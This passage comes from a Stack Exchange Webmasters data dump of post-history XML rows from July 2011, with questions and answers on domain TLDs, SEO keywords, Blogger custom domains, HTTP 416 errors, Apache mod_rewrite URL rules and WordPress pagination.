hope.&#xD;&#xA;&#xD;&#xA;I did not faced this kinds of problem before. So people please advice. I am now check godaddy to find out if any crawl errors. I will update the post when i have it.&#xD;&#xA;&#xD;&#xA;**Update**&#xD;&#xA;&#xD;&#xA;The site is up for one and half month but search engine allowed about 2-3 weeks. I blocked the search engine when the site was in development." />
  <row Id="41537" PostHistoryTypeId="10" PostId="17266" RevisionGUID="8ba8f6c0-39c8-41ee-b5bf-7d81a5ee4ece" CreationDate="2011-07-23T20:41:50.580" UserId="1253" CloseReasonId="1" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="41538" PostHistoryTypeId="2" PostId="17289" RevisionGUID="a7b9bad0-7f34-437d-adb9-228f6914c638" CreationDate="2011-07-23T21:16:40.810" UserId="4502" Text="As far as cons, there's a soft one in that the general population is not as accustomed to TLDs beyond the basics(.ie, .com, .org, .net) as much as we are. That's improving, and depending upon your particular audience might not even apply, but it's something to be aware of. A &quot;weird&quot; web address might be met with some suspicion.&#xD;&#xA;&#xD;&#xA;If it doesn't matter, then go ahead and buy the cheapest you can get, but I have to say that I think you're looking at this backwards. Why is it that you're willing to eat the ongoing cost of time maintaining, coding and presumably designing these sites, but not the fixed domain registration cost? My hourly rate for all of those things is **much** more than ten bucks." />
  <row Id="41539" PostHistoryTypeId="25" PostId="17285" RevisionGUID="ee9deed6-c072-4e93-893d-bf2a54f6efc5" CreationDate="2011-07-23T21:31:55.943" Comment="http://twitter.com/#!/StackWebmasters/status/94882459220586496" />
  <row Id="41540" PostHistoryTypeId="2" PostId="17290" RevisionGUID="cc7b7e5a-5219-46ba-bfcc-84d3485c5098" CreationDate="2011-07-23T21:32:24.153" UserId="8926" Text="I have two problems with my current domain choice: &#xD;&#xA;&#xD;&#xA; - it is com -ending (all related sites are under edu or org)&#xD;&#xA; - it is meant for all people around the world but it contains a word that is different in different dialects of English&#xD;&#xA;&#xD;&#xA;How can I judge whether I should make a change to other domain? The domain is about 5 years old.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="41541" PostHistoryTypeId="1" PostId="17290" RevisionGUID="cc7b7e5a-5219-46ba-bfcc-84d3485c5098" CreationDate="2011-07-23T21:32:24.153" UserId="8926" Text="How can I judge whether Changing Domain from .Com to More expert style domain such as .org or .edu is worth it?" />
  <row Id="41542" PostHistoryTypeId="3" PostId="17290" RevisionGUID="cc7b7e5a-5219-46ba-bfcc-84d3485c5098" CreationDate="2011-07-23T21:32:24.153" UserId="8926" Text="&lt;domains&gt;" />
  <row Id="41543" PostHistoryTypeId="2" PostId="17291" RevisionGUID="b49e866b-a929-4c28-af1a-45c041e0d789" CreationDate="2011-07-23T21:46:22.297" UserId="9155" Text="How can I benefit (in anyways) by keyword phrase I have found, which when searched by &quot;phrase&quot; type in google adword keyword tool bring out the below result.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;The keyword competition is 0.01&#xD;&#xA;&#xD;&#xA;Monthly global searches is 3,68,000&#xD;&#xA;&#xD;&#xA;Monthly local searches is 4400&#xD;&#xA;&#xD;&#xA;Note : The keyword phrase is &quot;when will the&quot;, it is the beginning part of a question.&#xD;&#xA;&#xD;&#xA;Is it google to write articles starting with the keyword phrase &quot;when will the&quot;&#xD;&#xA;&#xD;&#xA;For example : &#xD;&#xA;&#xD;&#xA;when will the earth stop rotating?&#xD;&#xA;when will the earth stop rotating on it axis?&#xD;&#xA;When will the 5G mobiles be introduces to world? &#xD;&#xA;When will the 5G mobiles be introduces to india?&#xD;&#xA;&#xD;&#xA;Please give me your observations and share your knowledge.&#xD;&#xA;&#xD;&#xA;Thanks :)" />
  <row Id="41544" PostHistoryTypeId="1" PostId="17291" RevisionGUID="b49e866b-a929-4c28-af1a-45c041e0d789" CreationDate="2011-07-23T21:46:22.297" UserId="9155" Text="Keyword research. How does it benefit?" />
  <row Id="41545" PostHistoryTypeId="3" PostId="17291" RevisionGUID="b49e866b-a929-4c28-af1a-45c041e0d789" CreationDate="2011-07-23T21:46:22.297" UserId="9155" Text="&lt;seo&gt;&lt;google&gt;&lt;google-webmaster-tools&gt;&lt;google-search&gt;&lt;keywords&gt;" />
  <row Id="41546" PostHistoryTypeId="2" PostId="17292" RevisionGUID="6e134b49-10fb-4a11-afca-cb6aef8741db" CreationDate="2011-07-23T21:48:35.700" UserId="8926" Text="I am fed up Blogger's misleading error reports. The issue looks like this simple [here][1] (a few text file settings) but Blogger requires me something impossible that some other blogger user preserving my domain should stop using my domain (apparently just one line to fix), totally impossible for me (I do not know the email of the preserver and I am tired to start up some official procedure against the other user). So I want some substitutes. If I export my Blogger XML content -- can I easily use it with independent hosting with my comp?I mean whether there are some service that can read the Blogger XML and I can install it to my server?&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/CNAME_record" />
  <row Id="41547" PostHistoryTypeId="1" PostId="17292" RevisionGUID="6e134b49-10fb-4a11-afca-cb6aef8741db" CreationDate="2011-07-23T21:48:35.700" UserId="8926" Text="Some easy way to abandon Blogger sites to get more control over things such as DNS?" />
  <row Id="41548" PostHistoryTypeId="3" PostId="17292" RevisionGUID="6e134b49-10fb-4a11-afca-cb6aef8741db" CreationDate="2011-07-23T21:48:35.700" UserId="8926" Text="&lt;blogger&gt;" />
  <row Id="41549" PostHistoryTypeId="5" PostId="17292" RevisionGUID="549fc357-d47c-4d92-9ace-198e76646c56" CreationDate="2011-07-23T21:57:20.970" UserId="8926" Comment="added 235 characters in body" Text="I am fed up Blogger's misleading error reports. The issue looks like this simple [here][1] (a few text file settings) but Blogger requires me something impossible that some other blogger user preserving my domain should stop using my domain (apparently just one line to fix), totally impossible for me (I do not know the email of the preserver and I am tired to start up some official procedure against the other user). So I want some substitutes. If I export my Blogger XML content -- can I easily use it with independent hosting with my comp?I mean whether there are some service that can read the Blogger XML and I can install it to my server?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Btw I think the &quot;other user&quot; is the old version of the site with different url that is now removed. I think the real problem is messed up DNS handling in Blogger. Any idea how I can privately contact blogger devs about the issue?&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/CNAME_record" />
  <row Id="41550" PostHistoryTypeId="2" PostId="17293" RevisionGUID="2de5d6aa-3773-4fcc-9184-90e96520d5d1" CreationDate="2011-07-23T22:21:57.680" UserId="9155" Text="[How to increase your site's position in google?][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://webmasters.stackexchange.com/questions/2/what-are-the-best-ways-to-increase-your-sites-position-in-google&#xD;&#xA;&#xD;&#xA;In this above article. when I entered just three keywords in google:&#xD;&#xA;&#xD;&#xA;increase&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;site&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;position&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;This article comes on the first place. &#xD;&#xA;&#xD;&#xA;Please help me understand the reasons as why only just by these three keywords?&#xD;&#xA;&#xD;&#xA;**My observations** : I researched and observed that the phrase &quot;increase position&quot;	have global searches of 110 (by doing phrase type search in google keyword tool) and very low competition. Does it means that the article is covering users who use increase position as a phrase to search answers for their site making them use the three keywords (increase, site, position) to ask the query.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="41551" PostHistoryTypeId="1" PostId="17293" RevisionGUID="2de5d6aa-3773-4fcc-9184-90e96520d5d1" CreationDate="2011-07-23T22:21:57.680" UserId="9155" Text="Why is this stack over flow article comes up on first page of google just typing 3 keywords?" />
  <row Id="41552" PostHistoryTypeId="3" PostId="17293" RevisionGUID="2de5d6aa-3773-4fcc-9184-90e96520d5d1" CreationDate="2011-07-23T22:21:57.680" UserId="9155" Text="&lt;seo&gt;&lt;google&gt;&lt;google-webmaster-tools&gt;&lt;google-search&gt;&lt;seo-friendly&gt;" />
  <row Id="41553" PostHistoryTypeId="2" PostId="17294" RevisionGUID="ded6f9f3-58bb-4ec2-812d-b8825f64e354" CreationDate="2011-07-23T22:44:23.970" UserId="1253" Text="This happens because Google considers that page to be the most relevant result for the search phrase &quot;increase site position&quot;. Because it ranks #1 for that search terms if you are using [Google Instant][1] you will see the first page appear in your browser as you type. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/instant/" />
  <row Id="41554" PostHistoryTypeId="5" PostId="17294" RevisionGUID="525f5af6-0fc2-4f06-be23-4c25f333b31e" CreationDate="2011-07-23T22:50:03.327" UserId="1253" Comment="added 173 characters in body" Text="This happens because Google considers that page to be the most relevant result for the search phrase &quot;increase site position&quot;. Because it ranks #1 for that search terms if you are using [Google Instant][1] you will see the first page appear in your browser as you type. &#xD;&#xA;&#xD;&#xA;As for that particular page comes up first, it is a combination of keyword relevancy and link popularity/incoming link value that puts it to the top in the search results.&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/instant/" />
  <row Id="41555" PostHistoryTypeId="10" PostId="17291" RevisionGUID="ff671566-0cfe-4054-bef9-60a3e9bc70d8" CreationDate="2011-07-23T22:51:28.990" UserId="1253" CloseReasonId="4" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="41556" PostHistoryTypeId="2" PostId="17295" RevisionGUID="9dd9659c-d634-4723-ba9d-d75435027cc0" CreationDate="2011-07-23T22:59:51.417" UserId="1253" Text="The TLD does not give a website any advantage in search. Some people will tell you that .gov and .edu get special treatment but it is not true. There are no arbitrary bonuses in search. A crappy .edu will rank the same as a crappy.com. (In fact most .edu pages are not even published by universities).&#xD;&#xA;&#xD;&#xA;If you have been using a particular domain for five years I definitely would not change it unless you were able to a new domain with better keywords in it. Even then they would have be almost exact matches for the most popular terms you are trying to rank well for to be worth making the change.&#xD;&#xA;&#xD;&#xA;If you change domains you have to make sure you do 301 redirects from the old URLs to the new URLs and that will cost you some PageRank. Additionally, there will be a transitional period where your rankings will drop or disappear as Google completes the process of indexing the new URLs and processing the 301 redirects." />
  <row Id="41557" PostHistoryTypeId="17" PostId="17296" RevisionGUID="50737ea9-0e42-46fb-97c2-c95b97e92a46" CreationDate="2011-07-23T23:24:37.713" UserId="-1" Comment="from http://serverfault.com/questions/293438/google-seo-and-301-redirects-on-root-top-folder" Text="" />
  <row Id="41558" PostHistoryTypeId="2" PostId="17296" RevisionGUID="12db31b5-48d3-43c2-99b2-329252048b35" CreationDate="2011-07-23T23:06:32.743" UserId="9164" UserDisplayName="Daniel L" Text="I've got a pretty unusual problem. A client has their site hosted on a friend's server that is basically misconfigured to redirect http://clientname.com/ to http://clientname.com/clientname. After this 301 redirect, the site works fine and subpages can be accessed via http://clientname.com/clientname/subpage.&#xD;&#xA;&#xD;&#xA;However, the whole site is not indexed on Google and my FTP root folder resembles http://clientname.com/clientname/ which means I cannot put a `robots.txt` file on the top level. Moving to a different hoster is out of question for the client.&#xD;&#xA;&#xD;&#xA;What can I do? I'm desperate." />
  <row Id="41559" PostHistoryTypeId="1" PostId="17296" RevisionGUID="12db31b5-48d3-43c2-99b2-329252048b35" CreationDate="2011-07-23T23:06:32.743" UserId="9164" UserDisplayName="Daniel L" Text="Google, SEO and 301 redirects on root / top folder" />
  <row Id="41560" PostHistoryTypeId="3" PostId="17296" RevisionGUID="12db31b5-48d3-43c2-99b2-329252048b35" CreationDate="2011-07-23T23:06:32.743" UserId="9164" UserDisplayName="Daniel L" Text="&lt;redirects&gt;&lt;google&gt;&lt;seo&gt;" />
  <row Id="41561" PostHistoryTypeId="2" PostId="17297" RevisionGUID="002fd054-6adb-4bff-a953-b4119b8cbe67" CreationDate="2011-07-23T23:32:26.343" UserId="1253" Text="If the whole site is not indexed a robots.txt isn't going to help you as that is used to stop the search engines from indexing your content. Not help them do it.&#xD;&#xA;&#xD;&#xA;Sign up for a [Google Webmaster Tools][1] account and add their site. Then submit an [XML sitemap][2] to Google. That will tell them where all of their pages are. Also, get some links to their pages from other sites. That helps the search engines finds them and links can increase the importance of those pages in Google's eyes giving them more incentive to index them.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.google.com/webmasters/tools/home?hl=en&#xD;&#xA;  [2]: http://www.sitemaps.org/" />
  <row Id="41562" PostHistoryTypeId="2" PostId="17298" RevisionGUID="a9786078-bdd2-4cdd-ada0-4f1118190706" CreationDate="2011-07-24T00:05:15.073" UserId="5806" Text="*Turns out I almost had the answer when I wrote the question.*&#xD;&#xA;&#xD;&#xA;**Yahoo puts greater emphasis on in-page factors** such as headings than Google which puts more emphasis on anchor text of incoming links. Keywords in the URL seems to be much more important to Google.&#xD;&#xA;&#xD;&#xA;Yahoo and Bing may share a common engine but do not return the same results. Yahoo includes more synonyms when searching for results, which gives more result having different keywords. So on Yahoo, a site may compete with sites that are ranked for apparently different keywords." />
  <row Id="41563" PostHistoryTypeId="25" PostId="17281" RevisionGUID="8ad2c09a-ad79-424e-a459-7d897ab45ada" CreationDate="2011-07-24T00:31:55.647" Comment="http://twitter.com/#!/StackWebmasters/status/94927757376634880" />
  <row Id="41564" PostHistoryTypeId="2" PostId="17299" RevisionGUID="1305cb29-58cd-46a6-a0f2-ec12759a9d52" CreationDate="2011-07-24T00:42:13.527" UserId="8957" Text="There certainly are other blog engines out there that can read blogger xml files. wordpress can.&#xD;&#xA;&#xD;&#xA;I would strongly suggest trying to figure out what's going on with the DNS entries, though, since it's possible that other stuff will also have problems with it. In the mean time you could certainly install some other blogging software and see if it just works, i assume a lot of them will be able to import blogger content." />
  <row Id="41565" PostHistoryTypeId="5" PostId="15128" RevisionGUID="b2868673-3625-4125-a98c-1047dc0e2ee6" CreationDate="2011-07-24T00:44:22.580" UserId="8167" Comment="Minor clarification" Text="You raise a good question. There is some mixing of terms (front-end designer, front-end developer, which are very often not the same) which made the answer for me a little less concise that maybe you would prefer (sorry).&#xD;&#xA;&#xD;&#xA;Separating the terms out could clarify the answer a bit, as I think of them as quite separate and requiring non-overlapping expertise that are quite often not done by the same person, as both fields require years of experience in order to gain expertise.&#xD;&#xA;&#xD;&#xA;For the record, I am a front-end developer and no one in their right mind wants me *designing* their website. My responsibility is PHP/HTML, CSS and JavaScript. I don't create the Photoshop files; they get handed to me to cut up into HTML/CSS.&#xD;&#xA;&#xD;&#xA;Web *designers* are typically responsible for transforming a client's requirements and branding into a graphical layout (most times, a Photoshop PSD). They're often formally trained in design (line, colour, form). I think understanding principles of design is probably more important that choosing a piece of software in this field and would the first place to start if you haven't already. Since you say, &quot;I really don't know where to start when it comes to client side UI (as in designing pages that look good),&quot; I believe this would be the first logical starting point to gain proficiency in this field.&#xD;&#xA;&#xD;&#xA;In terms of workflow/tools, designers typically use software like Balsamiq Mockups or Keynote ([http://keynotekungfu.com/][1]) to first generate mockups so clients can approve a UI/layout without getting bogged down in colour choices or textures. These might be very quick sketches meant to inform the design, or they can be very involved wireframes (a separate deliverable in itself), that meticulously map out the page flow, layout and functionality. &#xD;&#xA;&#xD;&#xA;Designers also use techniques like mood boards or design tiles to capture the branding and 'look and feel' of a site before committing to a fully-fledged design. Once the client decides on a palette, UI, and layout for the site, the designer then uses Photoshop, or less often, Fireworks or another graphics program, to create a completed design.&#xD;&#xA;&#xD;&#xA;In the majority of shops, and in the experience of most professional freelancers I know, the front-end developer (who is usually but not always a different person), then takes the completed PSD and cuts it into working HTML/CSS. What tool in used is a matter of personal preference as well as a subject of animated debate. I like Coda. Others like TextMate or TextWrangler. Not many people in either profession that I'm met use PCs. It is a Mac world. PCs are for the suits, man.&#xD;&#xA;&#xD;&#xA;My own workflow as a front-end developer includes:&#xD;&#xA;&#xD;&#xA; - Firebug and Chrome's Developer Tools for CSS development.&#xD;&#xA; - Coda for authoring HTML/CSS/JavaScript/PHP. It's a very lightweight IDE that includes a CSS editor, code completion and syntax highlighting for all the above.&#xD;&#xA; - Photoshop for cutting the PSD into HTML.&#xD;&#xA; - The Firefox add-on MeasureIt for taking pixel measurements in the browser.&#xD;&#xA; - The Firefox add-on Pixel Perfect for creating exact pixel matches of the delivered PSD files (designers will be very happy with you for respecting their original designs).&#xD;&#xA; - a Windows VM for testing in IE. I use VMWare Fusion, which is generally good but super processor intensive, but there is also Wine, which is free and other good choices.&#xD;&#xA; - the Firefox add-on Web Developer Toolbar for a variety of tasks (checking how a site looks with JavaScript disabled, theming at the print stylesheet output, checking for accessibility, viewing the semantic structure of a site etc.). &#xD;&#xA; - Firefox add-on ColorZilla for monitoring color, grabbing hex codes from sites (very, very useful)&#xD;&#xA;&#xD;&#xA;I've also used Safari's iPad/iPhone view to test the site using a mobile user-agent.&#xD;&#xA;&#xD;&#xA;Those are some of the tools I use at least. I'd be interested in other techniques.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://keynotekungfu.com/" />
  <row Id="41566" PostHistoryTypeId="17" PostId="17300" RevisionGUID="4aca6fb2-36d7-44ba-8afe-2872aa5e24d2" CreationDate="2011-07-24T01:05:34.917" UserId="-1" Comment="from http://stackoverflow.com/questions/6795244/what-are-the-causes-of-a-416-error" Text="" />
  <row Id="41567" PostHistoryTypeId="17" PostId="17301" RevisionGUID="602569a2-c1e9-4865-a752-79a7cc52b73c" CreationDate="2011-07-24T01:05:34.917" UserId="-1" Comment="from http://stackoverflow.com/questions/6795244/what-are-the-causes-of-a-416-error" Text="" />
  <row Id="41568" PostHistoryTypeId="17" PostId="17302" RevisionGUID="e80ea45f-0930-4f8e-94be-5741dfd2ed31" CreationDate="2011-07-24T01:05:34.917" UserId="-1" Comment="from http://stackoverflow.com/questions/6795244/what-are-the-causes-of-a-416-error" Text="" />
  <row Id="41569" PostHistoryTypeId="2" PostId="17301" RevisionGUID="bd9cf51f-d982-4d38-8f58-ff890beff8cf" CreationDate="2011-07-22T19:49:22.473" UserId="8669" Text="That error means that some client sends a request to your server which specifies a range of bytes which is not serveable due to some reason.&#xD;&#xA;&#xD;&#xA;This can happen with something like this example:&#xD;&#xA;&#xD;&#xA; - You have an image with physical size 1000 bytes&#xD;&#xA; - Your Server specifies the wrong content length e.g. 1500&#xD;&#xA; - The client sends a request to get 0 - 1500 bytes from your server&#xD;&#xA; - Your server sends a 416 because the image has only 1000bytes" />
  <row Id="41570" PostHistoryTypeId="2" PostId="17302" RevisionGUID="468c7d3b-329a-47f7-90ce-3c6b05e304a8" CreationDate="2011-07-22T19:49:59.857" UserDisplayName="tomthorgal" Text="**416 - Requested Range Not Satisfiable**  &#xD;&#xA;A 416 status code indicates that the server was unable to fulfill the request. This may be, for example, because the client asked for the 800th-900th bytes of a document, but the document was only 200 bytes long.&#xD;&#xA;&#xD;&#xA;What causes this error in your case is hard to tell. I would start with the Apache `error.log` and scan for 416. This way you might be able to narrow it down further to what page was called and go from there." />
  <row Id="41571" PostHistoryTypeId="2" PostId="17303" RevisionGUID="e675ef3f-01ff-45bc-ad02-dc9bcf363cc5" CreationDate="2011-07-22T19:52:38.360" UserId="9241" UserDisplayName="Sean Kimball" Text="This looks like a duplicate question: &#xD;&#xA;&#xD;&#xA;http://stackoverflow.com/questions/5891431/416-requested-range-not-satisfiable&#xD;&#xA;&#xD;&#xA;check the explanation here:&#xD;&#xA;&#xD;&#xA;http://www.addedbytes.com/for-beginners/http-status-codes/&#xD;&#xA;&#xD;&#xA;But basically, check the error log for the 416 error [I know you said you checked - it should be there unless you are including a resource from another server] that should tell you what file - then make sure it is getting cached correctly [or not cached at all]&#xD;&#xA;&#xD;&#xA;-sean&#xD;&#xA;&#xD;&#xA;**UPDATE:**&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;what you can do with APC, is disable caching of certyain files by using the apc.filters setting in your php.ini [or apc.inc or however you are including the apc config] If you can figure out which file[s] are throwing the 416 error, you can start by configuring APC to not cache them. Sounds like a reasonable start to me.&#xD;&#xA;&#xD;&#xA;AAAACtually, come to think of it, if you can find the file throwing the error, you can use APC to 1. see if it is cached &amp; 2. check on the file size that APC thinks it is then 3. check the actual size on disk. Check out this link: devzone.zend.com/article/12618 [the official APC docs kinda suck]&#xD;&#xA;&#xD;&#xA;" />
  <row Id="41572" PostHistoryTypeId="2" PostId="17300" RevisionGUID="b27ebbb1-fe0b-4258-a09a-ee307cedd1c3" CreationDate="2011-07-22T19:45:00.743" UserId="7547" Text="&#xD;&#xA;One of my visitors from my website informed me that every so often (quite rarely actually), when trying to visit my website, he gets a **416 Error: Requested Range Not Satisfiable**&#xD;&#xA;&#xD;&#xA;I've never heard of such an error, and don't see anything strange anywhere on my apache logs. &#xD;&#xA;&#xD;&#xA;What can cause such an error? &#xD;&#xA;&#xD;&#xA;My website is a wordpress blog, running on apache, centos. " />
  <row Id="41573" PostHistoryTypeId="1" PostId="17300" RevisionGUID="b27ebbb1-fe0b-4258-a09a-ee307cedd1c3" CreationDate="2011-07-22T19:45:00.743" UserId="7547" Text="What are the causes of a 416 Error?" />
  <row Id="41574" PostHistoryTypeId="3" PostId="17300" RevisionGUID="b27ebbb1-fe0b-4258-a09a-ee307cedd1c3" CreationDate="2011-07-22T19:45:00.743" UserId="7547" Text="&lt;apache&gt;" />
  <row Id="41575" PostHistoryTypeId="17" PostId="17303" RevisionGUID="85c2be75-6c28-4a19-8c98-596827921797" CreationDate="2011-07-24T01:05:34.917" UserId="-1" Comment="from http://stackoverflow.com/questions/6795244/what-are-the-causes-of-a-416-error" Text="" />
  <row Id="41576" PostHistoryTypeId="17" PostId="17304" RevisionGUID="34adb441-4777-4ee1-bf1c-1c85450a45b1" CreationDate="2011-07-24T01:05:56.790" UserId="-1" Comment="from http://stackoverflow.com/questions/6796812/how-to-make-parameters-look-more-attractive" Text="" />
  <row Id="41577" PostHistoryTypeId="17" PostId="17305" RevisionGUID="3010faf4-5356-4fb8-969d-8454114e9ab1" CreationDate="2011-07-24T01:05:56.790" UserId="-1" Comment="from http://stackoverflow.com/questions/6796812/how-to-make-parameters-look-more-attractive" Text="" />
  <row Id="41578" PostHistoryTypeId="17" PostId="17306" RevisionGUID="83c3ef99-0fa6-49ac-9b78-6aebed1243b8" CreationDate="2011-07-24T01:05:56.790" UserId="-1" Comment="from http://stackoverflow.com/questions/6796812/how-to-make-parameters-look-more-attractive" Text="" />
  <row Id="41579" PostHistoryTypeId="17" PostId="17307" RevisionGUID="e01d809b-ee2e-497b-ab24-c66404a403b3" CreationDate="2011-07-24T01:05:56.790" UserId="-1" Comment="from http://stackoverflow.com/questions/6796812/how-to-make-parameters-look-more-attractive" Text="" />
  <row Id="41580" PostHistoryTypeId="2" PostId="17305" RevisionGUID="8fc94548-91b1-48d5-88d5-31b8f401383f" CreationDate="2011-07-22T22:38:22.793" UserId="9158" UserDisplayName="zgold" Text="Place this in your .htaccess file:&#xD;&#xA;&#xD;&#xA;    RewriteEngine On&#xD;&#xA;    RewriteCond %{REQUEST_FILENAME} !-f&#xD;&#xA;    RewriteCond %{REQUEST_FILENAME} !-d&#xD;&#xA;    RewriteRule ^(.*)$ /blog?display=$1 [L]&#xD;&#xA;&#xD;&#xA;This will redirect each URL which do not corresponds to an existing file (`!-f`) or existing directory (`!-d`) to the corresponding `blog?...` URL. `[L]` makes the rewriting stop here (in case you have more rules). See the [mod_rewrite Guide][1] for details.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://httpd.apache.org/docs/2.2/rewrite/" />
  <row Id="41581" PostHistoryTypeId="2" PostId="17306" RevisionGUID="3aee223b-5895-44e6-b518-6cfcc3c9a157" CreationDate="2011-07-22T22:39:35.547" UserDisplayName="develroot" Text="You are probably looking for mod_rewrite. It's easy, just put this in your `.htaccess` file.&#xD;&#xA;&#xD;&#xA;    RewriteEngine On&#xD;&#xA;    RewriteRule ^(.*)$ /blog?display=$1" />
  <row Id="41582" PostHistoryTypeId="2" PostId="17307" RevisionGUID="2d4973ba-153e-4a85-b913-0ba670e5145c" CreationDate="2011-07-22T22:50:47.303" UserId="9187" UserDisplayName="kuru kuru na..." Text="You can use &#xD;&#xA;&#xD;&#xA;    Request.PathInfo&#xD;&#xA;&#xD;&#xA;To get a result like your example www.mysite.com/username&#xD;&#xA;&#xD;&#xA;Scott Gu did a blog on that a while back...&#xD;&#xA;http://weblogs.asp.net/scottgu/archive/2007/02/26/tip-trick-url-rewriting-with-asp-net.aspx" />
  <row Id="41583" PostHistoryTypeId="2" PostId="17304" RevisionGUID="2325c906-fb54-4a79-80c5-9c5473d7bfcc" CreationDate="2011-07-22T22:36:41.910" UserId="9173" UserDisplayName="Joel" Text="I'm making a blog site and instead of the users blogs being called /blog?display=*username* I would like it to just be a sub domain such as mysite.com/*username* &#xD;&#xA;&#xD;&#xA;How would I be able to make the first URL look like the second URL?" />
  <row Id="41584" PostHistoryTypeId="1" PostId="17304" RevisionGUID="2325c906-fb54-4a79-80c5-9c5473d7bfcc" CreationDate="2011-07-22T22:36:41.910" UserId="9173" UserDisplayName="Joel" Text="How to make parameters look more attractive" />
  <row Id="41585" PostHistoryTypeId="3" PostId="17304" RevisionGUID="2325c906-fb54-4a79-80c5-9c5473d7bfcc" CreationDate="2011-07-22T22:36:41.910" UserId="9173" UserDisplayName="Joel" Text="&lt;apache&gt;&lt;mod-rewrite&gt;" />
  <row Id="41586" PostHistoryTypeId="25" PostId="17284" RevisionGUID="35f0fd06-ed4f-4d6e-b381-d7fb1656a697" CreationDate="2011-07-24T03:31:56.087" Comment="http://twitter.com/#!/StackWebmasters/status/94973056040181760" />
  <row Id="41587" PostHistoryTypeId="2" PostId="17308" RevisionGUID="751157e0-3ad0-474c-8912-7d931d10ab99" CreationDate="2011-07-24T03:55:13.960" UserId="9122" Text="Few days ago Google came up with a post on URLs with parameters. The post can be found here: http://googlewebmastercentral.blogspot.com/2011/07/improved-handling-of-urls-with.html&#xD;&#xA;&#xD;&#xA;Now, my website uses WordPress blogging platform, and the blog post from Google is inclined towards the e-commerce sites. However, I was wondering if I should follow the pagination rule for my site to make sure duplicate content isn't picked up by the Google bots.&#xD;&#xA;&#xD;&#xA;My site has URLs for pages are like this: http://blogote.com/page/3/&#xD;&#xA;&#xD;&#xA;Should I be worried? Should I leave it as it is? " />
  <row Id="41588" PostHistoryTypeId="1" PostId="17308" RevisionGUID="751157e0-3ad0-474c-8912-7d931d10ab99" CreationDate="2011-07-24T03:55:13.960" UserId="9122" Text="Handling Pagination on WordPress?" />
  <row Id="41589" PostHistoryTypeId="3" PostId="17308" RevisionGUID="751157e0-3ad0-474c-8912-7d931d10ab99" CreationDate="2011-07-24T03:55:13.960" UserId="9122" Text="&lt;seo&gt;&lt;wordpress&gt;" />
  <row Id="41593" PostHistoryTypeId="25" PostId="17292" RevisionGUID="f280cc66-74b7-441e-b797-ea6a5bbbb0af" CreationDate="2011-07-24T06:31:56.277" Comment="http://twitter.com/#!/StackWebmasters/status/95018355089608704" />
  <row Id="41597" PostHistoryTypeId="25" PostId="17304" RevisionGUID="d9e5ec14-5eab-455c-939d-3345610d3ee4" CreationDate="2011-07-24T09:31:55.877" Comment="http://twitter.com/#!/StackWebmasters/status/95063650951376896" />
  <row Id="41598" PostHistoryTypeId="2" PostId="17310" RevisionGUID="b46a9fea-94ea-4ee5-9d7c-3e50b6b98769" CreationDate="2011-07-24T09:52:12.263" UserId="8687" Text="1. Don't change your domain name. You might think .edu sounds more professional but other people get confused by anything other than .com. You'll get little benefit form the name change and many problems.&#xD;&#xA;&#xD;&#xA;2. You don't say what the word is, but I wouldn't worry about it. English people can read and understand American English and vice versa. Choose the dialect of English that you are comfortable in writing and be consistent." />
  <row Id="41599" PostHistoryTypeId="2" PostId="17311" RevisionGUID="9cd5bcc5-3353-4d2c-900a-fba1aaee6cb5" CreationDate="2011-07-24T10:12:49.633" UserId="8926" Text="It is just a redirection but I am looking for hiding the blogger url with my domain. I have set up the CNAME as needed with my registrar. I think I am missing some settings with the Blogger to hide the url. Please, explain the &quot;Custom Domain&quot; and how can I hide my blogger url? (I thought that Custom Domain is for that, the term does not mean me anything.)" />
  <row Id="41600" PostHistoryTypeId="1" PostId="17311" RevisionGUID="9cd5bcc5-3353-4d2c-900a-fba1aaee6cb5" CreationDate="2011-07-24T10:12:49.633" UserId="8926" Text="Explain &quot;Add Custom Domain&quot; in Blogger" />
  <row Id="41601" PostHistoryTypeId="3" PostId="17311" RevisionGUID="9cd5bcc5-3353-4d2c-900a-fba1aaee6cb5" CreationDate="2011-07-24T10:12:49.633" UserId="8926" Text="&lt;blogger&gt;" />
  <row Id="41602" PostHistoryTypeId="2" PostId="17312" RevisionGUID="e8bbba84-2f76-4dea-85da-6c9d30598693" CreationDate="2011-07-24T10:23:53.647" UserId="5134" Text="I'd like to make a Material Cost collection website base on the following futures:&#xD;&#xA;&#xD;&#xA;- The material cost will be collected from users &#xD;&#xA;- There will be a materials list form to be filled out by users &#xD;&#xA;- There will be a materials cost index table to show the submitted prices.&#xD;&#xA;- Security: each user have to see own submitted price index but not the other users submitted data. &#xD;&#xA;&#xD;&#xA;Are there any free or open source scripts that can do this?  if there is no one,  what you suggest for this? any idea appreciated." />
  <row Id="41603" PostHistoryTypeId="1" PostId="17312" RevisionGUID="e8bbba84-2f76-4dea-85da-6c9d30598693" CreationDate="2011-07-24T10:23:53.647" UserId="5134" Text="Looking for a free material costs collection script" />
  <row Id="41604" PostHistoryTypeId="3" PostId="17312" RevisionGUID="e8bbba84-2f76-4dea-85da-6c9d30598693" CreationDate="2011-07-24T10:23:53.647" UserId="5134" Text="&lt;looking-for-a-script&gt;&lt;ecommerce&gt;&lt;open-source&gt;" />
  <row Id="41606" PostHistoryTypeId="25" PostId="17308" RevisionGUID="5e28b075-f5a6-4d93-8304-71ff71aff144" CreationDate="2011-07-24T12:31:55.563" Comment="http://twitter.com/#!/StackWebmasters/status/95108950277627905" />
